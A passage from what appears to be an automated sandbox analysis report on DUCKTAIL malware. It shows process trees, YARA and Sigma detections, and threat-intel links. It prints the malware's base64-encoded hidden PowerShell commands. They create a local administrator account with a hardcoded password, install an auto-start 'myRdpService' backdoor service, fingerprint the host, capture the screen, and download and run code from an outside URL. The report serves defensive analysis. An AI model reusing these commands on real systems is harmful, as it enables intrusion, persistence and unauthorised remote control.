AG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 9664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 9804 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 9812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 10228 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 10236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 1512 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 5624 cmdline: "cmd.exe" /c sc stop "myRdpService" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 1376 cmdline: sc stop "myRdpService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 5856 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 2420 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 5960 cmdline: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 6220 cmdline: sc delete "myRdpService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 5680 cmdline: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

net.exe (PID: 4376 cmdline: net start "myRdpService" MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 2568 cmdline: C:\Windows\system32\net1 start "myRdpService" MD5: BA0BCCC6029FBBE6D8B41197F252742F)

powershell.exe (PID: 3924 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

myRdpService.exe (PID: 4300 cmdline: C:\Windows\Temp\myRdpService.exe cakoi10 MD5: 5641F3A5B9787F23D3D34F0D9F791B7A)

regedit.exe (PID: 6016 cmdline: "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService" MD5: 999A30979F6195BF562068639FFC4426)

powershell.exe (PID: 6284 cmdline: "powershell.exe" -Command "systeminfo | Select-String \"OS Name\",\"OS Version\";" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

systeminfo.exe (PID: 1384 cmdline: "C:\Windows\system32\systeminfo.exe" MD5: EE309A9C61511E907D87B10EF226FDCD)

WmiPrvSE.exe (PID: 3500 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 4180 cmdline: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 4316 cmdline: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DUCKTAIL	According to Tony Lambert, this is a malware written in .NET. It was observed to be delivered using the .NET Single File deployment feature.	No Attribution	https://forensicitguy.github.io/analyzing-net-core-single-file-ducktail/ https://harfanglab.io/en/insidethelab/reverse-engineering-ida-pro-aot-net/ https://labs.withsecure.com/assets/BlogFiles/Publications/WithSecure_Research_DUCKTAIL.pdf https://labs.withsecure.com/content/dam/labs/docs/WithSecure_Research_DUCKTAIL.pdf https://securelist.com/ducktail-fashion-week/111017/	https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000031.00000002.476272694589.00007FF759666000.00000004.00000001.01000000.0000000B.sdmp	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0xdac4:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x11f94:$a2: 0123456789012345678901234567890123456789 0x3291c:$a3: NTPASSWORD 0x2f7b4:$a4: LMPASSWORD 0x5cd04:$a5: aad3b435b51404eeaad3b435b51404ee 0x14f54:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0
Process Memory Space: powershell.exe PID: 8860	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 8860	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1e4faa:$b1: ::WriteAllBytes( 0xbfd0:$b2: ::FromBase64String( 0xa6746:$b2: ::FromBase64String( 0xa6e03:$b2: ::FromBase64String( 0xa70bc:$b2: ::FromBase64String( 0xa735a:$b2: ::FromBase64String( 0xa73e5:$b2: ::FromBase64String( 0xa7454:$b2: ::FromBase64String( 0xa74b4:$b2: ::FromBase64String( 0xa7519:$b2: ::FromBase64String( 0xa757a:$b2: ::FromBase64String( 0xa75f8:$b2: ::FromBase64String( 0xa7678:$b2: ::FromBase64String( 0xa76e3:$b2: ::FromBase64String( 0xa774b:$b2: ::FromBase64String( 0xa77b1:$b2: ::FromBase64String( 0xa7811:$b2: ::FromBase64String( 0xa788d:$b2: ::FromBase64String( 0xa78fd:$b2: ::FromBase64String( 0xa7966:$b2: ::FromBase64String( 0xa79c7:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 6008	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 6008	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 6008	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x3e4a3f:$b1: ::WriteAllBytes( 0x3d3dea:$b2: ::FromBase64String( 0x3d5dd4:$b2: ::FromBase64String( 0x3d6cd4:$b2: ::FromBase64String( 0x3d6d40:$b2: ::FromBase64String( 0x3dc837:$b2: ::FromBase64String( 0x350531:$b3: ::UTF8.GetString( 0xd79b:$s1: -join 0xde14:$s1: -join 0x20a6cb:$s1: -join 0x2177a0:$s1: -join 0x21ab72:$s1: -join 0x21b224:$s1: -join 0x21cd15:$s1: -join 0x21ef1b:$s1: -join 0x21f742:$s1: -join 0x21ffb2:$s1: -join 0x2206ed:$s1: -join 0x22071f:$s1: -join 0x220767:$s1: -join 0x220786:$s1: -join
Process Memory Space: svczHost.exe PID: 9472	JoeSecurity_Ducktail_6	Yara detected Ducktail	Joe Security
Process Memory Space: svczHost.exe PID: 9472	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0x35c4:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x4d20:$a2: 0123456789012345678901234567890123456789 0x116e4:$a3: NTPASSWORD 0x1041b:$a4: LMPASSWORD 0x22f0f:$a5: aad3b435b51404eeaad3b435b51404ee 0x5c18:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
49.2.myRdpService.exe.7ff759160000.0.unpack	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0x511cc4:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x516194:$a2: 0123456789012345678901234567890123456789 0x536b1c:$a3: NTPASSWORD 0x5339b4:$a4: LMPASSWORD 0x560f04:$a5: aad3b435b51404eeaad3b435b51404ee 0x519154:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0

Other

Source	Rule	Description	Author	Strings
amsi64_6008.amsi.csv	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
amsi64_6008.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xfd1f:$b1: ::WriteAllBytes( 0xc19a:$b2: ::FromBase64String( 0xe185:$b2: ::FromBase64String( 0xf086:$b2: ::FromBase64String( 0x529:$b3: ::UTF8.GetString( 0xbdf0:$s1: -join 0x239:$s4: += 0x25c:$s4: += 0x559c:$s4: += 0x565e:$s4: += 0x9885:$s4: += 0xb9a2:$s4: += 0xbc8c:$s4: += 0xbdd2:$s4: += 0xf239:$s4: += 0xf436:$s4: += 0x116ec:$s4: += 0x69acd:$s4: += 0x69b4d:$s4: += 0x69c13:$s4: += 0x69c93:$s4: +=

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAY

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Source: Process started

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQA

Sigma detected: PowerShell Base64 Encoded WMI Classes

Source: Process started

Author: Christian Burkard (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AG